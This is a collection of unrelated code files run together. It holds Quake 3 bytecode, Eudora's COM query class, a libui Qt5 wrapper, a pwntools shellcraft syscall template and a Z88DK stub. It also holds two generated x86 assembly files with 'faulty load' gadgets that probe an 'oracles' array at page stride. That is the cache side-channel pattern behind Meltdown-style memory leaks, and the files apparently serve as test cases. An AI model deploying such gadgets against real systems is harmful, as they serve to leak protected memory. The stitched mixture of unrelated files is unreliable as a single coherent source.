COM_ParseError import COM_Compress import COM_ParseExt import COM_Parse import COM_GetCurrentParseLine import COM_BeginParseSession import COM_DefaultExtension import COM_CompareExtension import COM_StripExtension import COM_GetExtension import COM_SkipPath import Com_Clamp import PerpendicularVector import AngleVectors import MatrixMultiply import MakeNormalVectors import RotateAroundDirection import RotatePointAroundVector import ProjectPointOnPlane import PlaneFromPoints import AngleDelta import AngleNormalize180 import AngleNormalize360 import AnglesSubtract import AngleSubtract import LerpAngle import AngleMod import BoundsIntersectPoint import BoundsIntersectSphere import BoundsIntersect import BoxOnPlaneSide import SetPlaneSignbits import AxisCopy import AxisClear import AnglesToAxis import vectoangles import Q_crandom import Q_random import Q_rand import Q_acos import Q_log2 import VectorRotate import Vector4Scale import VectorNormalize2 import VectorNormalize import CrossProduct import VectorInverse import VectorNormalizeFast import DistanceSquared import Distance import VectorLengthSquared import VectorLength import VectorCompare import AddPointToBounds import ClearBounds import RadiusFromBounds import NormalizeColor import ColorBytes4 import ColorBytes3 import _VectorMA import _VectorScale import _VectorCopy import _VectorAdd import _VectorSubtract import _DotProduct import ByteToDir import DirToByte import ClampShort import ClampChar import Q_rsqrt import Q_fabs import Q_isnan import axisDefault import vec3_origin import g_color_table import colorDkGrey import colorMdGrey import colorLtGrey import colorWhite import colorCyan import colorMagenta import colorYellow import colorBlue import colorGreen import colorRed import colorBlack import bytedirs import Hunk_AllocDebug import FloatSwap import LongSwap import ShortSwap import CopyLongSwap import CopyShortSwap import qk_acos import qk_fabs import qk_abs import qk_tan import qk_atan2 import qk_cos import qk_sin import qk_sqrt import qk_floor import qk_ceil import qk_memcpy import qk_memset import qk_memmove import qk_sscanf import qk_vsnprintf import qk_strtol import qk_atoi import qk_strtod import qk_atof import qk_toupper import qk_tolower import qk_strncpy import qk_strstr import qk_strrchr import qk_strchr import qk_strcmp import qk_strcpy import qk_strcat import qk_strlen import qk_rand import qk_srand import qk_qsort lit align 1 LABELV $171 byte 1 102 byte 1 117 byte 1 110 byte 1 99 byte 1 95 byte 1 116 byte 1 105 byte 1 109 byte 1 101 byte 1 114 byte 1 32 byte 1 97 byte 1 116 byte 1 32 byte 1 37 byte 1 115 byte 1 32 byte 1 104 byte 1 97 byte 1 115 byte 1 32 byte 1 114 byte 1 97 byte 1 110 byte 1 100 byte 1 111 byte 1 109 byte 1 32 byte 1 62 byte 1 61 byte 1 32 byte 1 119 byte 1 97 byte 1 105 byte 1 116 byte 1 10 byte 1 0 align 1 LABELV $168 byte 1 49 byte 1 0 align 1 LABELV $157 byte 1 115 byte 1 111 byte 1 117 byte 1 110 byte 1 100 byte 1 47 byte 1 119 byte 1 111 byte 1 114 byte 1 108 byte 1 100 byte 1 47 byte 1 101 byte 1 108 byte 1 101 byte 1 99 byte 1 116 byte 1 114 byte 1 111 byte 1 46 byte 1 119 byte 1 97 byte 1 118 byte 1 0 align 1 LABELV $135 byte 1 67 byte 1 111 byte 1 117 byte 1 108 byte 1 100 byte 1 110 byte 1 39 byte 1 116 byte 1 32 byte 1 102 byte 1 105 byte 1 110 byte 1 100 byte 1 32 byte 1 116 byte 1 101 byte 1 108 byte 1 101 byte 1 112 byte 1 111 byte 1 114 byte 1 116 byte 1 101 byte 1 114 byte 1 32 byte 1 100 byte 1 101 byte 1 115 byte 1 116 byte 1 105 byte 1 110 byte 1 97 byte 1 116 byte 1 105 byte 1 111 byte 1 110 byte 1 10 byte 1 0 align 1 LABELV $122 byte 1 115 byte 1 111 byte 1 117 byte 1 110 byte 1 100 byte 1 47 byte 1 109 byte 1 105 byte 1 115 byte 1 99 byte 1 47 byte 1 119 byte 1 105 byte 1 110 byte 1 100 byte 1 102 byte 1 108 byte 1 121 byte 1 46 byte 1 119 byte 1 97 byte 1 118 byte 1 0 align 1 LABELV $104 byte 1 115 byte 1 111 byte 1 117 byte 1 110 byte 1 100 byte 1 47 byte 1 119 byte 1 111 byte 1 114 byte 1 108 byte 1 100 byte 1 47 byte 1 106 byte 1 117 byte 1 109 byte 1 112 byte 1 112 byte 1 97 byte 1 100 byte 1 46 byte 1 119 byte 1 97 byte 1 118 byte 1 0 align 1 LABELV $81 byte 1 116 byte 1 114 byte 1 105 byte 1 103 byte 1 103 byte 1 101 byte 1 114 byte 1 95 byte 1 109 byte 1 117 byte 1 108 byte 1 116 byte 1 105 byte 1 112 byte 1 108 byte 1 101 byte 1 32 byte 1 104 byte 1 97 byte 1 115 byte 1 32 byte 1 114 byte 1 97 byte 1 110 byte 1 100 byte 1 111 byte 1 109 byte 1 32 byte 1 62 byte 1 61 byte 1 32 byte 1 119 byte 1 97 byte 1 105 byte 1 116 byte 1 10 byte 1 0 align 1 LABELV $78 byte 1 48 byte 1 0 align 1 LABELV $77 byte 1 114 byte 1 97 byte 1 110 byte 1 100 byte 1 111 byte 1 109 byte 1 0 align 1 LABELV $76 byte 1 48 byte 1 46 byte 1 53 byte 1 0 align 1 LABELV $75 byte 1 119 byte 1 97 byte 1 105 byte 1 116 byte 1 0
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r13 push %r8 push %rcx push %rdi push %rdx push %rsi lea addresses_D_ht+0x715f, %rsi lea addresses_WT_ht+0x185df, %rdi nop nop nop nop nop and $4922, %r8 mov $117, %rcx rep movsb nop nop nop nop nop dec %r13 lea addresses_WT_ht+0x11a5f, %rsi lea addresses_A_ht+0x133f9, %rdi nop nop and $27614, %rdx mov $22, %rcx rep movsl nop nop nop nop dec %rdx lea addresses_WC_ht+0x10eaf, %rdx inc %rsi movb (%rdx), %r13b xor $44819, %rdx lea addresses_normal_ht+0x17c27, %r8 nop xor $31025, %r12 mov $0x6162636465666768, %rsi movq %rsi, %xmm7 and $0xffffffffffffffc0, %r8 movaps %xmm7, (%r8) nop nop nop nop sub %rcx, %rcx lea addresses_WC_ht+0x4c2e, %rsi nop nop nop nop xor $8449, %rdx movb $0x61, (%rsi) nop nop nop dec %r8 lea addresses_WT_ht+0xe2df, %rsi lea addresses_WC_ht+0x1e75f, %rdi nop inc %r10 mov $28, %rcx rep movsq nop nop nop nop and $27289, %rdx lea addresses_normal_ht+0x1cb0, %rsi lea addresses_A_ht+0x1c15f, %rdi clflush (%rsi) clflush (%rdi) xor %rdx, %rdx mov $102, %rcx rep movsw nop nop add $48538, %r8 lea addresses_A_ht+0x2cdf, %r10 nop nop nop nop nop and %rdi, %rdi mov (%r10), %edx nop nop sub $20406, %rsi lea addresses_WC_ht+0x1659b, %r10 nop nop nop and %rdi, %rdi mov $0x6162636465666768, %r12 movq %r12, (%r10) nop nop xor %rdx, %rdx lea addresses_UC_ht+0x2cb, %r8 nop add %rsi, %rsi mov $0x6162636465666768, %rdx movq %rdx, %xmm2 movups %xmm2, (%r8) nop cmp $47071, %rcx lea addresses_normal_ht+0x1d62f, %r10 cmp $55129, %rdi movw $0x6162, (%r10) nop nop add $14955, %r8 lea addresses_normal_ht+0x15ebf, %r10 clflush (%r10) nop nop add $16639, %rcx movb $0x61, (%r10) nop dec %rcx lea addresses_normal_ht+0xdb1f, %rsi lea addresses_D_ht+0x10f5f, %rdi nop nop nop nop cmp %r8, %r8 mov $75, %rcx rep movsw nop nop nop nop xor %rsi, %rsi lea addresses_D_ht+0x1bd31, %rdx nop sub $28690, %r10 movb (%rdx), %r12b nop nop cmp %r12, %r12 lea addresses_UC_ht+0x4a14, %rcx nop xor $192, %r8 movb (%rcx), %dl and %rdx, %rdx pop %rsi pop %rdx pop %rdi pop %rcx pop %r8 pop %r13 pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r15 push %r8 push %rax push %rbx push %rcx push %rdx // Load lea addresses_WC+0xed5f, %rax nop nop cmp $44433, %rdx vmovups (%rax), %ymm3 vextracti128 $0, %ymm3, %xmm3 vpextrq $0, %xmm3, %r15 // Exception!!! nop nop nop nop mov (0), %r10 sub %r15, %r15 // Store lea addresses_D+0x6f4f, %rbx nop nop nop nop nop add %rcx, %rcx mov $0x5152535455565758, %rax movq %rax, %xmm3 vmovups %ymm3, (%rbx) nop nop nop nop nop cmp $47416, %rcx // Store lea addresses_RW+0x1fddf, %rcx nop nop nop nop nop cmp %r8, %r8 mov $0x5152535455565758, %rbx movq %rbx, (%rcx) nop nop nop nop nop and %rdx, %rdx // Store mov $0xd8b, %r15 nop nop nop nop nop xor $2465, %rbx movw $0x5152, (%r15) xor $18402, %rdx // Load lea addresses_WT+0x685f, %r8 nop nop nop nop add %rax, %rax mov (%r8), %rbx dec %rbx // Faulty Load lea addresses_WT+0x11d5f, %r10 nop nop nop sub %r15, %r15 mov (%r10), %r8d lea oracles, %r10 and $0xff, %r8 shlq $12, %r8 mov (%r10,%r8,1), %r8 pop %rdx pop %rcx pop %rbx pop %rax pop %r8 pop %r15 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0, 'same': False, 'type': 'addresses_WT'}, 'OP': 'LOAD'} {'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 9, 'same': False, 'type': 'addresses_WC'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 4, 'same': False, 'type': 'addresses_D'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 7, 'same': False, 'type': 'addresses_RW'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 2, 'same': False, 'type': 'addresses_P'}, 'OP': 'STOR'} {'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 8, 'same': False, 'type': 'addresses_WT'}, 'OP': 'LOAD'} [Faulty Load] {'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0, 'same': True, 'type': 'addresses_WT'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'congruent': 9, 'same': False, 'type': 'addresses_D_ht'}, 'dst': {'congruent': 7, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM'} {'src': {'congruent': 3, 'same': False, 'type': 'addresses_WT_ht'}, 'dst': {'congruent': 1, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM'} {'src': {'NT': True, 'AVXalign': False, 'size': 1, 'congruent': 3, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': True, 'size': 16, 'congruent': 3, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'STOR'} {'src': {'congruent': 6, 'same': False, 'type': 'addresses_WT_ht'}, 'dst': {'congruent': 8, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM'} {'src': {'congruent': 0, 'same': False, 'type': 'addresses_normal_ht'}, 'dst': {'congruent': 10, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM'} {'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 6, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': True, 'size': 8, 'congruent': 2, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 2, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 1, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': True, 'size': 1, 'congruent': 2, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'STOR'} {'src': {'congruent': 6, 'same': False, 'type': 'addresses_normal_ht'}, 'dst': {'congruent': 8, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM'} {'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 1, 'same': True, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'} {'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'} {'39': 21829} 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 */
/******************************************************************************/ /* */ /* Name : QUERY.CPP */ /* Date : 10/13/1997 */ /* Author : Jim Susoy */ /* Notice : (C) 1997 Qualcomm, Inc. - All Rights Reserved */ /* Copyright (c) 2016, Computer History Museum All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted (subject to the limitations in the disclaimer below) provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of Computer History Museum nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. NO EXPRESS OR IMPLIED LICENSES TO ANY PARTY'S PATENT RIGHTS ARE GRANTED BY THIS LICENSE. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* Desc. : IDSPQuery Implementation */ /* */ /******************************************************************************/ #pragma warning(disable : 4514 4706) #include <afx.h> #include <ole2.h> #include "DebugNewHelpers.h" #include "factory.h" #include "dspapi.h" #include "query.h" #include "resource.h" #include "QCUtils.h" extern long g_cComponents; /* Static */ HRESULT __stdcall CQuery::CreateInstance(IUnknown **pUnk,CDatabase *pServer) { CQuery *pPost = DEBUG_NEW_NOTHROW CQuery(pServer); if(!pPost) { *pUnk = NULL; return E_OUTOFMEMORY; } *pUnk = static_cast<IUnknown *>(pPost); return S_OK; } HRESULT __stdcall CQuery::QueryInterface(REFIID iid, void** ppv) { if (iid == IID_IUnknown) *ppv = static_cast<IUnknown*>(this); else if (iid == IID_IDSPQuery) *ppv = static_cast<IDSPQuery*>(this); else { *ppv = NULL; return E_NOINTERFACE; } reinterpret_cast<IUnknown*>(*ppv)->AddRef(); return S_OK; } ULONG __stdcall CQuery::AddRef() { return InterlockedIncrement(&m_cRef); } ULONG __stdcall CQuery::Release() { if (0 == InterlockedDecrement(&m_cRef)) { delete this; return 0; } return m_cRef; } CQuery::CQuery(CDatabase *pServer) : m_cRef(1) { m_pSched = NULL; m_nLastError = QUERY_OK; m_dwFlags = 0; m_nField = DS_UNKNOWN; m_bCancled = FALSE; m_pszSearch = NULL; m_pRE = NULL; m_pRecordList = NULL; m_pDatabase = pServer; m_pDatabase->AddRef(); m_pDatabase->IncQuery(); InterlockedIncrement(&g_cComponents); } CQuery::~CQuery() { if(m_pSched) { m_pSched->Cancel(); m_pSched->Release(); } m_pDatabase->DecQuery(); if(m_pDatabase) m_pDatabase->Release(); delete [] m_pszSearch; if(m_pRecordList) m_pRecordList->Release(); m_pRecordList = NULL; m_pszSearch = NULL; m_pDatabase = NULL; m_pSched = NULL; InterlockedDecrement(&g_cComponents); } HRESULT __stdcall CQuery::InitQuery(LPSTR pszSearch,DWORD dwFlags,DS_FIELD nField) { HRESULT hErr; if(NULL == (m_pszSearch = SafeStrdupMT(pszSearch))) return E_OUTOFMEMORY; m_dwFlags = dwFlags; m_nField = nField; if(SUCCEEDED(hErr = CoCreateInstance(CLSID_ISchedule,NULL,CLSCTX_INPROC_SERVER,IID_ISchedule,(void **) &m_pSched))) { hErr = m_pDatabase->GetRecordList(&m_pRecordList); } return hErr; } HRESULT __stdcall CQuery::SetSearchBase(LPSTR /* pszSearchBase */) { return E_FAIL; } void __stdcall CQuery::Start(DBQUERYCB pCB,LPVOID pCtx) { m_pSched->Schedule(pCB,pCtx); } void __stdcall CQuery::WaitForRecord(DBQUERYCB pCB,LPVOID pCtx) { m_pSched->Schedule(pCB,pCtx); } /* Protected */ BOOL __stdcall CQuery::FuzzyCompare(LPSTR lpszCheck) { int iLen; char ch; int nRet; register LPSTR pszCheck = lpszCheck; iLen = lstrlen(m_pszSearch); while(lstrlen(pszCheck) >= iLen){ ch = pszCheck[iLen]; pszCheck[iLen] = 0; nRet = lstrcmpi(pszCheck,m_pszSearch); pszCheck[iLen] = ch; if(!nRet) return TRUE; pszCheck++; } return FALSE; } BOOL __stdcall CQuery::Match(IDSPRecord *pRec) { BOOL bKludge = (m_nField == DS_NAME); DBRECENT *pEnt = pRec->GetRecordList(); while(pEnt) { /* Search Name and Alias */ if(TRUE == bKludge) { if(pEnt->nName == m_nField || pEnt->nName == DS_EMAILALIAS) { if(TRUE == FuzzyCompare((LPSTR)pEnt->data)) return TRUE; } } /* Search what the caller really wants */ else { if(pEnt->nName == m_nField) { if(TRUE == FuzzyCompare((LPSTR)pEnt->data)) return TRUE; } } pEnt = pEnt->pNext; } return FALSE; } QUERY_STATUS __stdcall CQuery::GetRecord(IDSPRecord **ppRecord) { if(m_nLastError == QUERY_OK) { DWORD dwCount = m_pRecordList->Count(); DWORD i; if(QUERY_DONE == m_nLastError) return m_nLastError; if(m_pRE == (LPRECENT) m_pRecordList->Head()) { m_nLastError= QUERY_DONE; return m_nLastError; } if(!m_pRE) m_pRE = (LPRECENT) m_pRecordList->Head(); /* Walk the list looking for matches */ for(i=0;i<dwCount;i++) { if(TRUE == Match(m_pRE->pRecord)) { m_pRE->pRecord->AddRef(); *ppRecord = static_cast<IDSPRecord *>(m_pRE->pRecord); m_nLastError= QUERY_OK; m_pRE = (LPRECENT) ILIST_ITEMNEXT(m_pRE); goto CQ_GR_DONE; } m_pRE = (LPRECENT) ILIST_ITEMNEXT(m_pRE); if(m_pRE == (LPRECENT) m_pRecordList->Head()) { m_nLastError= QUERY_DONE; break; } } m_nLastError = QUERY_DONE; } CQ_GR_DONE: return m_nLastError; } void __stdcall CQuery::Cancel() { m_bCancled = TRUE; m_pSched->Cancel(); } QUERY_STATUS __stdcall CQuery::GetLastError() { return m_nLastError; } HRESULT __stdcall CQuery::GetErrorString(QUERY_STATUS nCode,LPSTR pszBuffer,int nlen) { int nID = IDS_QUERY_OK; switch(nCode) { case QUERY_OK: nID = IDS_QUERY_OK; break; case QUERY_FAILED: nID = IDS_QUERY_FAILED; break; case QUERY_WOULDBLOCK: nID = IDS_QUERY_WOULDBLOCK; break; case QUERY_DONE: nID = IDS_QUERY_DONE; break; case QUERY_CANCELLED: nID = IDS_QUERY_CANCELLED; break; case QUERY_EBADFORMAT: nID = IDS_QUERY_EBADFORMAT; break; case QUERY_ECONNECT: nID = IDS_QUERY_ECONNECT; break; case QUERY_EADDRESS: nID = IDS_QUERY_EADDRESS; break; case QUERY_EREAD: nID = IDS_QUERY_EREAD; break; case QUERY_EWRITE: nID = IDS_QUERY_EWRITE; break; case QUERY_EOUTOFOMEMORY: nID = IDS_QUERY_EOUTOFMEMORY; break; case QUERY_EPROTOCOL: nID = IDS_QUERY_EPROTOCOL; break; case QUERY_EEXISTS: nID = IDS_QUERY_EEXISTS; break; case QUERY_ENOMATCH: nID = IDS_QUERY_ENOMATCH; break; } ::LoadString(CFactory::s_hModule,nID,pszBuffer,nlen); return S_OK; }
#include "uipriv_qt5.hpp" #include <QLineEdit> struct uiEntry : uiQt5Control {}; char *uiEntryText(uiEntry *e) { if (auto lineEdit = uiValidateAndCastObjTo<QLineEdit>(e)) { return uiQt5StrdupQString(lineEdit->text()); } return nullptr; } void uiEntrySetText(uiEntry *e, const char *text) { if (auto lineEdit = uiValidateAndCastObjTo<QLineEdit>(e)) { lineEdit->setText(QString::fromUtf8(text)); } } void uiEntryOnChanged(uiEntry *e, void (*f)(uiEntry *, void *), void *data) { if (auto lineEdit = uiValidateAndCastObjTo<QLineEdit>(e)) { // Unlike textChanged(), this signal is not emitted when the text is changed programmatically QObject::connect(lineEdit, &QLineEdit::textChanged, lineEdit, [f,e,data]{ f(e,data); }, Qt::UniqueConnection); } } int uiEntryReadOnly(uiEntry *e) { if (auto lineEdit = uiValidateAndCastObjTo<QLineEdit>(e)) { return lineEdit->isReadOnly(); } return false; } void uiEntrySetReadOnly(uiEntry *e, int readonly) { if (auto lineEdit = uiValidateAndCastObjTo<QLineEdit>(e)) { lineEdit->setReadOnly(readonly); } } uiEntry *uiNewEntry(void) { auto lineEdit = new QLineEdit; // note styling is being set in main.cpp -> styleSheet return uiAllocQt5ControlType(uiEntry,lineEdit,uiQt5Control::DeleteControlOnQObjectFree); }
<% from pwnlib.shellcraft.aarch64.linux import syscall %> <%page args="clock_id, flags, req, rem"/> <%docstring> Invokes the syscall clock_nanosleep. See 'man 2 clock_nanosleep' for more information. Arguments: clock_id(clockid_t): clock_id flags(int): flags req(timespec): req rem(timespec): rem </%docstring> ${syscall('SYS_clock_nanosleep', clock_id, flags, req, rem)}
; void tshc_cls_wc(struct r_Rect8 *r, uchar attr) SECTION code_clib SECTION code_arch PUBLIC tshc_cls_wc EXTERN asm_tshc_cls_wc tshc_cls_wc: pop af pop hl pop ix push hl push hl push af jp asm_tshc_cls_wc
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r14 push %r15 push %rbp push %rbx push %rdi push %rsi lea addresses_D_ht+0x6ce, %rbx nop nop nop xor %r14, %r14 mov $0x6162636465666768, %rsi movq %rsi, (%rbx) sub %r11, %r11 lea addresses_WC_ht+0x9716, %rdi nop nop nop cmp %rbp, %rbp mov $0x6162636465666768, %r15 movq %r15, %xmm7 vmovups %ymm7, (%rdi) nop nop cmp %r11, %r11 lea addresses_WC_ht+0xfbee, %rbp nop nop nop nop nop add %rbx, %rbx mov (%rbp), %r15d nop nop sub $34403, %r14 pop %rsi pop %rdi pop %rbx pop %rbp pop %r15 pop %r14 pop %r11 ret .global s_faulty_load s_faulty_load: push %r12 push %r13 push %r14 push %r15 push %rax push %rdi // Load mov $0x131ad30000000428, %r14 nop and $59508, %rax mov (%r14), %edi nop and %r13, %r13 // Faulty Load mov $0x27ab7f0000000096, %r15 nop xor %r13, %r13 mov (%r15), %r14w lea oracles, %rdi and $0xff, %r14 shlq $12, %r14 mov (%rdi,%r14,1), %r14 pop %rdi pop %rax pop %r15 pop %r14 pop %r13 pop %r12 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_NC', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_NC', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_NC', 'NT': True, 'AVXalign': False, 'size': 2, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': True, 'size': 8, 'congruent': 2}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 7}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': True, 'size': 4, 'congruent': 3}} {'00': 2382, 'b2': 19447} 00 00 b2 b2 b2 b2 b2 00 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 00 b2 b2 00 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 00 00 00 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 00 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 00 00 b2 00 b2 b2 b2 b2 b2 00 00 b2 b2 00 b2 b2 b2 b2 b2 00 b2 b2 b2 b2 00 b2 b2 b2 b2 b2 b2 00 b2 b2 b2 b2 b2 00 b2 b2 b2 b2 b2 b2 00 b2 b2 b2 b2 00 b2 00 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 00 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 00 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 00 00 b2 b2 00 00 b2 b2 b2 b2 00 b2 b2 b2 b2 00 b2 b2 b2 b2 00 b2 b2 00 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 00 b2 b2 00 b2 b2 b2 00 b2 b2 00 b2 00 b2 b2 b2 b2 b2 00 00 b2 b2 00 b2 00 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 00 00 b2 b2 b2 00 b2 b2 b2 b2 b2 b2 b2 b2 00 b2 b2 b2 b2 